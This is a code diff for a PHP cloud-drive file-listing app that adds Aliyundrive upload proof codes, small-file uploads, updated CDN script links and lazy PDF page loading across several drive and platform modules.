+            $data['parent_file_id'] = $oldfile['parent_file_id'];
+            $data['part_info_list'][0]['part_number'] = 1;
+            $data['proof_code'] = $proof_code;
+            $data['proof_version'] = 'v1';
+            $data['size'] = $oldfile['size'];
+            $data['type'] = 'file';
+            $result = curl('POST', $url, json_encode($data), $header);
+            /*if ($result['stat']==201) {
+                $res = json_decode($result['body'], true);
+                if ($res['rapid_upload']) return output('rapid upload', 200);
+                $url = $res['part_info_list'][0]['upload_url'];
+                if (!$url) { // 无url，应该算秒传
+                    return output('no up url', 200);
+                } else {
+                    return output(json_encode($this->files_format(json_decode($result['body'], true))), $result['stat']);
+                }
+            }*/
+            //error_log1('2,url:' . $url .' res:' . json_encode($result));
+            return output(json_encode($this->files_format(json_decode($result['body'], true))), $result['stat']);
+        } else {
+            return output("Get proof error\n" . json_encode($res), 415);
+        }
+
     }
     public function Edit($file, $content) {
         $tmp = splitlast($file['path'], '/');
@@ -490,6 +503,31 @@ class Aliyundrive {
 
         return curl('POST', $url, json_encode($data), $header);
     }
+    protected function fileCreate1($parentId, $fileName, $sha1, $proof_code, $size, $part_number) {
+        //$url = $this->api_url . '/file/create';
+        $url = 'https://api.aliyundrive.com/adrive/v2/file/createWithFolders';
+
+        $header["content-type"] = "application/json; charset=utf-8";
+        $header['authorization'] = 'Bearer ' . $this->access_token;
+    
+        $data['check_name_mode'] = 'refuse'; // ignore, auto_rename, refuse.
+        $data['content_hash'] = $sha1;
+        $data['content_hash_name'] = 'sha1';
+        //$data['content_type'] = '';
+        $data['drive_id'] = $this->driveId;
+        //$data['ignoreError'] = false;
+        $data['name'] = $fileName;
+        $data['parent_file_id'] = $parentId;
+        for ($i=0;$i<$part_number;$i++) {
+            $data['part_info_list'][$i]['part_number'] = $i+1;
+        }
+        $data['proof_code'] = $proof_code;
+        $data['proof_version'] = 'v1';
+        $data['size'] = (int)$size;
+        $data['type'] = 'file';
+
+        return curl('POST', $url, json_encode($data), $header);
+    }
     protected function tmpfileCreate($parentId, $tmpFilePath, $tofileName = '') {
         $sha1 = sha1_file($tmpFilePath);
         if ($tofileName == '') $tofileName = splitlast($tmpFilePath, '/')[1];
@@ -538,6 +576,60 @@ class Aliyundrive {
         $thumb_url = $res['thumbnail'];
         return $thumb_url;
     }
+    public function smallfileupload($path, $tmpfile) {
+        if (!$_SERVER['admin']) {
+            $tmp1 = splitlast($tmpfile['name'], '.');
+            if ($tmp1[0]==''||$tmp1[1]=='') $filename = sha1_file($tmpfile['tmp_name']);
+            else $filename = sha1_file($tmpfile['tmp_name']) . '.' . $tmp1[1];
+        } else {
+            $filename = $tmpfile['name'];
+        }
+        //$content = file_get_contents($tmpfile['tmp_name']);
+        $result = $this->tmpfileCreate($this->list_path($_SERVER['list_path'] . '/' . $path . '/')['file_id'], $tmpfile['tmp_name'], $filename);
+        //error_log1('1,url:' . $url .' res:' . json_encode($result));
+        if ($result['stat']==201) {
+            $res = json_decode($result['body'], true);
+            $url = $res['part_info_list'][0]['upload_url'];
+            if (!$url) { // 无url，应该算秒传
+                //return output('no up url', 0);
+                $a = 1;
+            } else {
+                $file_id = $res['file_id'];
+                $upload_id = $res['upload_id'];
+                //$result = curl('PUT', $url, $content, [], 1);
+                $ch = curl_init();
+                curl_setopt($ch, CURLOPT_URL, $url);
+                curl_setopt($ch, CURLOPT_PUT, 1);
+                curl_setopt($ch, CURLOPT_HEADER, 1);
+                $fh_res = fopen($tmpfile['tmp_name'], 'r');
+                curl_setopt($ch, CURLOPT_INFILE, $fh_res);
+                curl_setopt($ch, CURLOPT_INFILESIZE, filesize($tmpfile['tmp_name']));
+                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+                $tmpres = splitlast(curl_exec($ch), "\r\n\r\n");
+                $result['body'] = $tmpres[1];
+                $returnhead = $tmpres[0];
+                foreach (explode("\r\n", $returnhead) as $head) {
+                    $tmp = explode(': ', $head);
+                    $heads[$tmp[0]] = $tmp[1];
+                }
+                $result['returnhead'] = $heads;
+                $result['stat'] = curl_getinfo($ch, CURLINFO_HTTP_CODE);
+                fclose($fh_res);
+                curl_close($ch);
+                //error_log1('2,url:' . $url .' res:' . json_encode($result));
+                if ($result['stat']==200) { // 块1传好
+                    $result = $this->fileComplete($file_id, $upload_id, [ $result['returnhead']['ETag'] ]);
+                    //error_log1('3, res:' . json_encode($result));
+                    //if ($result['stat']!=200) return output(json_encode($this->files_format(json_decode($result['body'], true))), $result['stat']);
+                    //else return output('success', 0);
+                }
+            }
+            $res = json_decode($result['body'], true);
+            //if (isset($res['url'])) 
+            $res['download_url'] = $_SERVER['host'] . path_format($_SERVER['base_disk_path'] . '/' . $path . '/' . $filename);
+        }
+        return output(json_encode($this->files_format($res), JSON_UNESCAPED_SLASHES), $result['stat']);
+    }
     public function bigfileupload($path)
     {
         if (isset($_POST['uploadid'])) {
@@ -545,6 +637,20 @@ class Aliyundrive {
             $result = $this->fileComplete($_POST['fileid'], $_POST['uploadid'], json_decode($_POST['etag'], true));
             return output(json_encode($this->files_format(json_decode($result['body'], true))), $result['stat']);
         } else {
+            if (isset($_POST['CalcProof'])) {
+                return output(substr(md5($this->access_token), 0, 16), 200);
+                // Calc proof code
+                /*if (!function_exists('bcadd')) {
+                    // no php-bcmath
+                    return output(0, 200);
+                } else {
+                    $r = bchexdec( substr(md5($this->access_token), 0, 16) );
+                    $i = $_POST['filesize'];
+                    //$o = $i ? bcmod($r, $i) : 0;
+                    $o = bcmod($r, $i);
+                    return output($o, 200);
+                }*/
+            }
             if ($_POST['upbigfilename']=='') return output('error: no file name', 400);
             if (!is_numeric($_POST['filesize'])) return output('error: no file size', 400);
             if (!isset($_POST['filesha1'])) return output('error: no file sha1', 400);
@@ -574,7 +680,11 @@ class Aliyundrive {
                 //error_log1($res['body']);
                 $parent_file_id = json_decode($res['body'], true)['file_id'];
             }
-            $response = $this->fileCreate($parent_file_id, $filename, $_POST['filesha1'], $fileinfo['size'], ceil($fileinfo['size']/$_POST['chunksize']));
+            //if (!function_exists('bcadd')) {
+            //    $response = $this->fileCreate($parent_file_id, $filename, $_POST['filesha1'], $fileinfo['size'], ceil($fileinfo['size']/$_POST['chunksize']));
+            //} else {
+                $response = $this->fileCreate1($parent_file_id, $filename, $_POST['filesha1'], $_POST['proof_code'], $fileinfo['size'], ceil($fileinfo['size']/$_POST['chunksize']));
+            //}
             $res = json_decode($response['body'], true);
             if (isset($res['exist'])) {
                 // 已经有
@@ -800,7 +910,7 @@ class Aliyundrive {
                 alert("Do not input ' . $envs . '");
                 return false;
             }
-            var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,20})$/;
+            var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,})$/;
             if (!reg.test(t.disktag_add.value)) {
                 alert(\'' . getconstStr('TagFormatAlert') . '\');
                 return false;

disk/Googledrive.php

@@ -718,7 +718,7 @@ class Googledrive {
                 alert("Do not input ' . $envs . '");
                 return false;
             }
-            var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,20})$/;
+            var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,})$/;
             if (!reg.test(t.disktag_add.value)) {
                 alert(\'' . getconstStr('TagFormatAlert') . '\');
                 return false;

disk/Onedrive.php

@@ -57,9 +57,27 @@ class Onedrive {
                 if (isset($parentfiles['children'][$filename][$this->DownurlStrName])) {
                     if (in_array(splitlast($filename,'.')[1], $exts['txt'])) {
                         if (!(isset($parentfiles['children'][$filename]['content'])&&$parentfiles['children'][$filename]['content']['stat']==200)) {
-                            $content1 = curl('GET', $parentfiles['children'][$filename][$this->DownurlStrName]);
-                            $parentfiles['children'][$filename]['content'] = $content1;
-                            savecache('path_' . $parentpath, $parentfiles, $this->disktag);
+                            //$content1 = curl('GET', $parentfiles['children'][$filename][$this->DownurlStrName]);
+                            //$parentfiles['children'][$filename]['content'] = $content1;
+                            //savecache('path_' . $parentpath, $parentfiles, $this->disktag);
+                            if ($parentfiles['children'][$filename]['size']<1024*1024) {
+                                if (!(isset($parentfiles['children'][$filename]['content'])&&$parentfiles['children'][$filename]['content']['stat']==200)) {
+                                    $content1 = curl('GET', $parentfiles['children'][$filename][$this->DownurlStrName]);
+                                    $tmp = null;
+                                    $tmp = json_decode(json_encode($content1), true);
+                                    if ($tmp['body']===null) {
+                                        $txtcode = chkTxtCode($content1['body']);
+                                        if ($txtcode!==false) $tmp['body'] = iconv($txtcode, 'UTF-8//TRANSLIT', $content1['body']);
+                                        $tmp = json_decode(json_encode($tmp), true);
+                                        if ($tmp['body']) $content1['body'] = $tmp['body'];
+                                    }
+                                    $parentfiles['children'][$filename]['content'] = $content1;
+                                    savecache('path_' . $path, $parentfiles['children'][$filename], $this->disktag);
+                                }
+                            } else {
+                                $parentfiles['children'][$filename]['content']['stat'] = 202;
+                                $parentfiles['children'][$filename]['content']['body'] = 'File too large.';
+                            }
                         }
                     }
                     return $this->files_format($parentfiles['children'][$filename]);
@@ -107,9 +125,10 @@ class Onedrive {
                                 $tmp = null;
                                 $tmp = json_decode(json_encode($content1), true);
                                 if ($tmp['body']===null) {
-                                    $tmp['body'] = iconv("GBK", 'UTF-8//TRANSLIT', $content1['body']);
+                                    $txtcode = chkTxtCode($content1['body']);
+                                    if ($txtcode!==false) $tmp['body'] = iconv($txtcode, 'UTF-8//TRANSLIT', $content1['body']);
                                     $tmp = json_decode(json_encode($tmp), true);
-                                    if ($tmp['body']!==null) $content1['body'] = $tmp['body'];
+                                    if ($tmp['body']) $content1['body'] = $tmp['body'];
                                 }
                                 $files['content'] = $content1;
                                 savecache('path_' . $path, $files, $this->disktag);
@@ -810,7 +829,7 @@ class Onedrive {
                 alert("Do not input \"" + t.disktag_add.value + "\" in ' . getconstStr('DiskTag') . '");
                 return false;
             }
-            var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,20})$/;
+            var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,})$/;
             if (!reg.test(t.disktag_add.value)) {
                 alert(\'' . getconstStr('TagFormatAlert') . '\');
                 return false;
@@ -954,6 +973,20 @@ class Onedrive {
         return $thumb_url;
     }
 
+    public function smallfileupload($path, $tmpfile) {
+        if (!$_SERVER['admin']) {
+            $tmp1 = splitlast($tmpfile['name'], '.');
+            if ($tmp1[0]==''||$tmp1[1]=='') $filename = md5_file($tmpfile['tmp_name']);
+            else $filename = md5_file($tmpfile['tmp_name']) . '.' . $tmp1[1];
+        } else {
+            $filename = $tmpfile['name'];
+        }
+        $content = file_get_contents($tmpfile['tmp_name']);
+        $result = $this->MSAPI('PUT', path_format($_SERVER['list_path'] . '/' . $path . '/' . $filename), $content);
+        $res = $this->files_format(json_decode($result['body'], true));
+        if (isset($res['url'])) $res['url'] = $_SERVER['host'] . path_format($_SERVER['base_disk_path'] . '/' . $path . '/' . $filename);
+        return output(json_encode($res, JSON_UNESCAPED_SLASHES), $result['stat']);
+    }
     public function bigfileupload($path)
     {
         if ($_POST['upbigfilename']=='') return output('error: no file name', 400);

index.php

@@ -67,7 +67,9 @@ if (isset($_SERVER['USER'])&&$_SERVER['USER']==='qcloud') {
 } else {
     include 'platform/Normal.php';
     if (!function_exists('curl_init')) {
-        return message('<font color="red">Need curl</font>, please install php-curl.', 'Error', 500);
+        http_response_code(500);
+        echo '<font color="red">Need curl</font>, please install php-curl.';
+        exit(1);
     }
     $path = getpath();
     //echo 'path:'. $path;

platform/AliyunFC.php

@@ -546,3 +546,7 @@ function changeAuthKey() {
     </script>';
     return message($html, 'Change platform Auth token or key', 200);
 }
+
+function smallfileupload($drive, $path) {
+    return output('Can not upload through FC.', 400);
+}

platform/BaiduCFC.php

@@ -485,3 +485,7 @@ function changeAuthKey() {
     </script>';
     return message($html, 'Change platform Auth token or key', 200);
 }
+
+function smallfileupload($drive, $path) {
+    return output('Can not upload through CFC.', 400);
+}

platform/Heroku.php

@@ -415,3 +415,9 @@ function changeAuthKey() {
     </script>';
     return message($html, 'Change platform Auth token or key', 200);
 }
+
+function smallfileupload($drive, $path) {
+    if ($_FILES['file1']['error']) return output($_FILES['file1']['error'], 400);
+    if ($_FILES['file1']['size']>4*1024*1024) return output('File too large', 400);
+    return $drive->smallfileupload($path, $_FILES['file1']);
+}

platform/HuaweiFG_env.php

@@ -536,3 +536,7 @@ function changeAuthKey() {
     </script>';
     return message($html, 'Change platform Auth token or key', 200);
 }
+
+function smallfileupload($drive, $path) {
+    return output('Can not upload through FG.', 400);
+}

platform/HuaweiFG_file.php

@@ -902,3 +902,7 @@ function changeAuthKey() {
     </script>';
     return message($html, 'Change platform Auth token or key', 200);
 }
+
+function smallfileupload($drive, $path) {
+    return output('Can not upload through FG.', 400);
+}

platform/Normal.php

@@ -5,12 +5,13 @@ function getpath()
     $_SERVER['firstacceptlanguage'] = strtolower(splitfirst(splitfirst($_SERVER['HTTP_ACCEPT_LANGUAGE'],';')[0],',')[0]);
     if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
     if (isset($_SERVER['HTTP_FLY_CLIENT_IP'])) $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_FLY_CLIENT_IP'];
+    if ($_SERVER['HTTP_FLY_FORWARDED_PROTO']!='') $_SERVER['REQUEST_SCHEME'] = $_SERVER['HTTP_FLY_FORWARDED_PROTO'];
+    if ($_SERVER['HTTP_X_FORWARDED_PROTO']!='') {
+        $tmp = explode(',', $_SERVER['HTTP_X_FORWARDED_PROTO'])[0];
+        if ($tmp=='http'||$tmp=='https') $_SERVER['REQUEST_SCHEME'] = $tmp;
+    }
     if ($_SERVER['REQUEST_SCHEME']!='http'&&$_SERVER['REQUEST_SCHEME']!='https') {
-        if ($_SERVER['HTTP_X_FORWARDED_PROTO']!='') {
-            $tmp = explode(',', $_SERVER['HTTP_X_FORWARDED_PROTO'])[0];
-            if ($tmp=='http'||$tmp=='https') $_SERVER['REQUEST_SCHEME'] = $tmp;
-        }
-        if ($_SERVER['HTTP_FLY_FORWARDED_PROTO']!='') $_SERVER['REQUEST_SCHEME'] = $_SERVER['HTTP_FLY_FORWARDED_PROTO'];
+        $_SERVER['REQUEST_SCHEME'] = 'http';
     }
     $_SERVER['host'] = $_SERVER['REQUEST_SCHEME'] . '://' . $_SERVER['HTTP_HOST'];
     $_SERVER['referhost'] = explode('/', $_SERVER['HTTP_REFERER'])[2];
@@ -22,8 +23,6 @@ function getpath()
     else $path = $_SERVER['REQUEST_URI'];
     $path = path_format( substr($path, strlen($_SERVER['base_path'])) );
     return $path;
-    //return substr($path, 1);
-    //return spurlencode($path, '/');
 }
 
 function getGET()
@@ -392,3 +391,9 @@ function WaitFunction() {
 function changeAuthKey() {
     return message("Not need.", 'Change platform Auth token or key', 404);
 }
+
+function smallfileupload($drive, $path) {
+    if ($_FILES['file1']['error']) return output($_FILES['file1']['error'], 400);
+    if ($_FILES['file1']['size']>4*1024*1024) return output('File too large', 400);
+    return $drive->smallfileupload($path, $_FILES['file1']);
+}

platform/Replit.php

@@ -355,3 +355,9 @@ function WaitFunction() {
 function changeAuthKey() {
     return message("Not need.", 'Change platform Auth token or key', 404);
 }
+
+function smallfileupload($drive, $path) {
+    if ($_FILES['file1']['error']) return output($_FILES['file1']['error'], 400);
+    if ($_FILES['file1']['size']>4*1024*1024) return output('File too large', 400);
+    return $drive->smallfileupload($path, $_FILES['file1']);
+}

platform/TencentSCF_env.php

@@ -662,3 +662,7 @@ function changeAuthKey() {
     </script>';
     return message($html, 'Change platform Auth token or key', 200);
 }
+
+function smallfileupload($drive, $path) {
+    return output('Can not upload through SCF.', 400);
+}

platform/TencentSCF_file.php

@@ -705,3 +705,7 @@ function changeAuthKey() {
     </script>';
     return message($html, 'Change platform Auth token or key', 200);
 }
+
+function smallfileupload($drive, $path) {
+    return output('Can not upload through SCF.', 400);
+}

platform/Vercel.php

@@ -316,7 +316,7 @@ function VercelUpdate($appId, $token, $sourcePath = "")
     $data["target"] = "production";
     $data["routes"][0]["src"] = "/(.*)";
     $data["routes"][0]["dest"] = "/api/index.php";
-    $data["functions"]["api/index.php"]["runtime"] = "vercel-php@0.4.0";
+    $data["functions"]["api/index.php"]["runtime"] = "vercel-php@0.5.1";
     if ($sourcePath=="") $sourcePath = splitlast(splitlast(__DIR__, "/")[0], "/")[0];
     //echo $sourcePath . "<br>";
     getEachFiles($file, $sourcePath);
@@ -432,7 +432,7 @@ function WaitFunction($deployid = '') {
     }
     $header["Authorization"] = "Bearer " . getConfig('APIKey');
     $header["Content-Type"] = "application/json";
-    $url = "https://api.vercel.com/v11/deployments/" . $deployid;
+    $url = "https://api.vercel.com/v13/deployments/" . $deployid;
     $response = curl("GET", $url, "", $header);
     if ($response['stat']==200) {
         $result = json_decode($response['body'], true);
@@ -489,3 +489,9 @@ function changeAuthKey() {
     </script>';
     return message($html, 'Change platform Auth token or key', 200);
 }
+
+function smallfileupload($drive, $path) {
+    if ($_FILES['file1']['error']) return output($_FILES['file1']['error'], 400);
+    if ($_FILES['file1']['size']>4*1024*1024) return output('File too large', 400);
+    return $drive->smallfileupload($path, $_FILES['file1']);
+}

theme/Onedrive-dev.html

@@ -386,7 +386,7 @@
         <div style="margin:50px">
             <a onclick="operatediv_close('login')" class="operatediv_close"><!--constStr@Close--></a>
 	        <center>
-	            <form action="<!--IsPreview?-->admin" method="post">
+	            <form action="<!--IsPreview?-->login=admin" method="post">
 		        <input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
 		        <input type="submit" value="<!--constStr@Login-->">
 	            </form>

theme/classic.html

@@ -107,7 +107,6 @@
     <h1 class="title" id="title">
         <a href="<!--base_path-->"><!--Sitename--></a>
     </h1>
-<!--
 <!--MultiDiskAreaStart-->
     <div class="list-wrapper" id="more-disk-div">
         <div class="list-container">
@@ -121,7 +120,6 @@
         </div>
     </div>
 <!--MultiDiskAreaEnd-->
--->
 <!--HeadomfStart-->
     <div class="list-wrapper" id="head-om-div">
         <div class="list-container">
@@ -485,12 +483,13 @@
     <div style="color: rgba(247,247,249,0);"><!--FootStr--></div>
 </body>
 
+<!--MdRequireStart--><link rel="stylesheet" href="https://unpkg.com/github-markdown-css@3.0.1/github-markdown.css">
+<script type="text/javascript" src="https://unpkg.com/marked@0.6.2/lib/marked.js"></script><!--MdRequireEnd-->
 <!--ListStart-->
-<!--MdRequireStart--><link rel="stylesheet" href="//unpkg.zhimg.com/github-markdown-css@3.0.1/github-markdown.css">
-<script type="text/javascript" src="//unpkg.zhimg.com/marked@0.6.2/marked.min.js"></script><!--MdRequireEnd-->
 <!--GuestUploadStart--><script type="text/javascript" src="//cdn.bootcss.com/spark-md5/3.0.0/spark-md5.min.js"></script><!--GuestUploadEnd-->
-<!--AliyundriveUploadJsStart--><script src="https://cdn.jsdelivr.net/npm/js-sha1@0.6.0/src/sha1.min.js"></script><!--AliyundriveUploadJsEnd-->
-<!--IsFileStart--><!--IspdfFileStart--><script src="//cdn.bootcss.com/pdf.js/2.3.200/pdf.min.js"></script><!--IspdfFileEnd--><!--IsFileEnd-->
+<!--AliyundriveUploadJsStart--><script src="https://unpkg.com/bignumber.js@9.0.2/bignumber.js"></script>
+<script src="https://www.unpkg.com/js-sha1@0.6.0/src/sha1.js"></script><!--AliyundriveUploadJsEnd-->
+<!--IsFileStart--><!--IspdfFileStart--><script src="https://unpkg.com/pdfjs-dist@2.4.456/build/pdf.min.js"></script><!--IspdfFileEnd--><!--IsFileEnd-->
 <!--ListEnd-->
 <script type="text/javascript">
     function changelanguage(str)
@@ -521,13 +520,53 @@
             f.password1.value = sha1(timestamp + "" + f.password1.value);
             return true;
         } catch {
-            alert("sha1.js not loaded.");
+            //alert("sha1.js not loaded.");
+            if (confirm("sha1.js not loaded.\n\nLoad from program?")) loadjs("?jsFile=sha1.min.js");
             return false;
         }
     }
+    function loadjs(url) {
+        var xhr = new XMLHttpRequest;
+        xhr.open("GET", url);
+        xhr.onload = function(e) {
+            if (xhr.status==200) {
+                var script = document.createElement("script");
+                script.type = "text/javascript";
+                script.text = xhr.responseText;
+                document.body.appendChild(script);
+            } else {
+                console.log(xhr.response);
+            }
+        }
+        xhr.send(null);
+    }
 <!--LoginEnd-->
+<!--WriteTimezoneStart-->
+    var nowtime= new Date();
+    var timezone = 0-nowtime.getTimezoneOffset()/60;
+    var expd = new Date();
+    expd.setTime(expd.getTime()+(2*60*60*1000));
+    var expires = "expires="+expd.toGMTString();
+    document.cookie="timezone="+timezone+"; path=/; "+expires;
+    if (timezone!=<!--timezone-->) {
+        //alert('Your timezone is '+timezone+', reload local timezone.');
+        location.href=location.href;
+    }
+<!--WriteTimezoneEnd-->
+<!--HeadmdStart-->
+    var $head = document.getElementById('head');
+    if ($head) {
+        //document.getElementById('head-div').parentNode.insertBefore(document.getElementById('head-div'),document.getElementById('list-div'));
+        $head.innerHTML = marked(document.getElementById('head-md').innerText);
+    }
+<!--HeadmdEnd-->
+<!--ReadmemdStart-->
+    var $readme = document.getElementById('readme');
+    if ($readme) {
+        $readme.innerHTML = marked(document.getElementById('readme-md').innerText);
+    }
+<!--ReadmemdEnd-->
 <!--ListStart-->
-
 <!--IsFileStart-->
     var $url = document.getElementById('url');
     if ($url) {
@@ -616,26 +655,65 @@
     addVideos(["<!--FileEncodeUrl-->"]);
 <!--IsvideoFileEnd-->
 <!--IspdfFileStart-->
-    pdfjsLib.GlobalWorkerOptions.workerSrc = '//cdn.bootcss.com/pdf.js/2.3.200/pdf.worker.min.js';
+    //cdn.bootcss.com/pdf.js/2.4.456/pdf.worker.min.js
+    pdfjsLib.GlobalWorkerOptions.workerSrc = 'https://unpkg.com/pdfjs-dist@2.4.456/build/pdf.worker.min.js';
     var loadingTask = pdfjsLib.getDocument({
         url: "<!--FileDownUrl-->",
-        cMapUrl: "//cdn.jsdelivr.net/npm/pdfjs-dist@2.2.228/cmaps/",
+        cMapUrl: "https://unpkg.com/pdfjs-dist@2.4.456/cmaps/",
         cMapPacked: true,
+        disableStream: true,
+        disableAutoFetch: true,
         rangeChunkSize: 65535
     });
+    /*loadingTask.onProgress = (e) => {
+        //console.log(e);
+        var p = document.getElementById('p');
+        if (p==null) {
+            p = document.createElement('div');
+            p.id = 'p';
+            p.setAttribute('onclick', "this.style.display = 'none';");
+            p.style = 'left: 10px; top: 30%; position: fixed;';
+            document.body.appendChild(p);
+        }
+        p.innerHTML = 'Loaded: ' + ((e.loaded/e.total)*100).toFixed(2) + '%<br>(' + size_format(e.loaded) + ' / ' + size_format(e.total) + ')';
+        p.style.display = '';
+        if (e.loaded==e.total) p.style.display = 'none';
+        
+    }*/
     loadingTask.promise.then(function(pdf) {
         var pagenum =  pdf.numPages;
         var pdfContainer = document.getElementById('pdf-d');
         pdfContainer.innerHTML = '';
-        for (var i=1;i<=pagenum;i++) {
-            var canvasNew = document.createElement('canvas');
-            canvasNew.id = 'pdf-c'+i;
-            pdfContainer.appendChild(canvasNew);
-            renderpage(pdf,i);
-        }
+        var pagepos = 1;
+        var pdfnextpagebutton = document.createElement('button');
+        pdfnextpagebutton.id = 'pdfnextpagebutton';
+        pdfnextpagebutton.innerText = 'Load page ' + pagepos + '-' + (pagepos+4<pagenum?pagepos+4:pagenum) + ' (' + pagenum + ')';
+        pdfnextpagebutton.setAttribute('onclick', "this.style.display = 'none';");
+        pdfnextpagebutton.style.display = 'none';
+        pdfContainer.appendChild(pdfnextpagebutton);
+        var pdfWaitNextPage = setInterval(function(){
+            //console.log(document.documentElement.scrollTop + ", " + document.body.scrollHeight);
+            if (pdfnextpagebutton.style.display=='none') {
+                for (var i=pagepos;i<=(pagepos+4<pagenum?pagepos+4:pagenum);i++) {
+                    var canvasNew = document.createElement('canvas');
+                    canvasNew.id = 'pdf-c'+i;
+                    pdfContainer.appendChild(canvasNew);
+                    renderpage(pdf,i);
+                }
+                pagepos = i;
+                if (pagepos<pagenum) {
+                    console.log("next page: " + pagepos + " / " + pagenum);
+                    pdfnextpagebutton.innerText = 'Load page ' + pagepos + '-' + (pagepos+4<pagenum?pagepos+4:pagenum) + ' (' + pagenum + ')';
+                    pdfnextpagebutton.style.display ='';
+                    pdfContainer.appendChild(pdfnextpagebutton);
+                } else {
+                    console.log("end of pdf");
+                    clearInterval(pdfWaitNextPage);
+                }
+            }
+        }, 1000);
     });
-    function renderpage(pdf,i)
-    {
+    function renderpage(pdf,i) {
         pdf.getPage(i).then(function(page) { 
             var scale = 1.5;
             var viewport = page.getViewport({ scale: scale, });
@@ -650,22 +728,27 @@
             page.render(renderContext);
         });
     }
+    function size_format(num) {
+        if (num>1024) {
+            num=num/1024;
+        } else {
+            return num.toFixed(2) + ' B';
+        }
+        if (num>1024) {
+            num=num/1024;
+        } else {
+            return num.toFixed(2) + ' KB';
+        }
+        if (num>1024) {
+            num=num/1024;
+        } else {
+            return num.toFixed(2) + ' MB';
+        }
+        return num.toFixed(2) + ' GB';
+    }
 <!--IspdfFileEnd-->
 <!--IsFileEnd-->
 <!--IsFolderStart-->
-<!--HeadmdStart-->
-    var $head = document.getElementById('head');
-    if ($head) {
-        //document.getElementById('head-div').parentNode.insertBefore(document.getElementById('head-div'),document.getElementById('list-div'));
-        $head.innerHTML = marked(document.getElementById('head-md').innerText);
-    }
-<!--HeadmdEnd-->
-<!--ReadmemdStart-->
-    var $readme = document.getElementById('readme');
-    if ($readme) {
-        $readme.innerHTML = marked(document.getElementById('readme-md').innerText);
-    }
-<!--ReadmemdEnd-->
 <!--ShowThumbnailsStart-->
     function showthumbnails(obj) {
         images = [<!--ImgExts-->];
@@ -796,18 +879,6 @@
     }
 <!--IsNotHiddenEnd-->
 <!--IsFolderEnd-->
-<!--WriteTimezoneStart-->
-    var nowtime= new Date();
-    var timezone = 0-nowtime.getTimezoneOffset()/60;
-    var expd = new Date();
-    expd.setTime(expd.getTime()+(2*60*60*1000));
-    var expires = "expires="+expd.toGMTString();
-    document.cookie="timezone="+timezone+"; path=/; "+expires;
-    if (timezone!=<!--timezone-->) {
-        alert('Your timezone is '+timezone+', reload local timezone.');
-        location.href=location.href;
-    }
-<!--WriteTimezoneEnd-->
     function CopyAllDownloadUrl(str) {
         var tmptextarea=document.createElement('textarea');
         document.body.appendChild(tmptextarea);
@@ -1147,7 +1218,39 @@
                 }// else console.log(Object.keys(uploading).length);
             } else clearInterval(uploadList);
         }, 1000);
-        //getuplink(i);
+        function CalcProof(file) {
+            return new Promise(function(resolve, reject){
+                var xhr = new XMLHttpRequest();
+                xhr.open("POST", '?action=upbigfile');
+                xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded;charset=utf-8");
+                xhr.setRequestHeader('x-requested-with', 'XMLHttpRequest');
+                xhr.onload = function(e){
+                    var html;
+                    if (xhr.status==200) {
+                        //console.log(xhr.responseText);
+                        var r = new BigNumber("0x".concat(xhr.responseText));
+                        var i = new BigNumber(file.size);
+                        var o = i ? r.mod(i) : 0;
+                        var reader1 = new FileReader();
+                        var start = o.toNumber();
+                        var end = start + 8;
+                        //if (file.size<end) end = file.size;
+                        console.log(start + " ~ " + end);
+                        //reader1.readAsBinaryString(file.slice(start,end));
+                        reader1.readAsDataURL(file.slice(start,end));
+                        reader1.onload = function(e) {
+                            var proof = this.result;
+                            proof = proof.substr(proof.indexOf('base64,')+7);
+                            resolve(proof);
+                        }
+                    } else {
+                        //console.log(xhr.status+'calc proof code\n'+xhr.responseText);
+                        reject(xhr.status+"\ncalc proof code\n"+xhr.responseText);
+                    }
+                }
+                xhr.send('CalcProof=1');
+            });
+        }
         function getuplink(i, r=0) {
             var file=files[i];
             var td1;
@@ -1175,6 +1278,7 @@
                 uploadbuttonshow();
                 return;
             }*/
+            
             var upbigfilename = encodeURIComponent((file.webkitRelativePath||file.name));
             uploading[upbigfilename] = [i];
             var spark = sha1.create();
@@ -1186,7 +1290,14 @@
                 var blob = file.slice(start,end);
                 reader.readAsArrayBuffer(blob);
             }
-            readblob(asize);
+            var proof_code = '';
+            CalcProof(file).then(a => {
+                proof_code = a;
+                console.log('proof: ' + proof_code);
+                readblob(asize);
+            }, e => {
+                td2.innerHTML = e;
+            });
 
             reader.onload = function(e){
                 td2.innerHTML='<!--constStr@Calculate--> SHA1: '+(asize*100/file.size).toFixed(2)+'%';
@@ -1254,7 +1365,7 @@
                                 getuplink(i);
                             }*/
                         }
-                        xhr1.send('upbigfilename='+ upbigfilename +'&filesize='+ file.size +'&filelastModified='+ file.lastModified + '&filesha1=' + filesha1 + '&chunksize=' + chunksize + '&_admin=' + localStorage.getItem("admin"));
+                        xhr1.send('upbigfilename='+ upbigfilename +'&filesize='+ file.size +'&filelastModified='+ file.lastModified + '&proof_code=' + proof_code + '&filesha1=' + filesha1 + '&chunksize=' + chunksize + '&_admin=' + localStorage.getItem("admin"));
                     }
                 }
             }
@@ -1652,7 +1763,7 @@
     document.getElementById('password1').focus();
 <!--EncryptedEnd-->
 </script>
-<script src="https://cdn.jsdelivr.net/npm/ionicons@5.5.2/dist/ionicons/ionicons.js"></script>
-<!--LoginStart--><script src="https://cdn.jsdelivr.net/npm/js-sha1@0.6.0/src/sha1.min.js"></script><!--LoginEnd-->
+<script src="https://www.unpkg.com/ionicons@6.0.1/dist/ionicons.js"></script>
+<!--LoginStart--><script src="https://www.unpkg.com/js-sha1@0.6.0/src/sha1.js"></script><!--LoginEnd-->
 <!--customScript-->
 </html>

theme/flatcard.html

@@ -497,7 +497,7 @@
         <div>
             <a onclick="operatediv_close('login')" class="operatediv_close">×</a>
             <center>
-                <form action="<!--IsPreview?-->admin" method="post" onsubmit="return sha1loginpass(this);">
+                <form action="<!--IsPreview?-->login=admin" method="post" onsubmit="return sha1loginpass(this);">
                     <input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
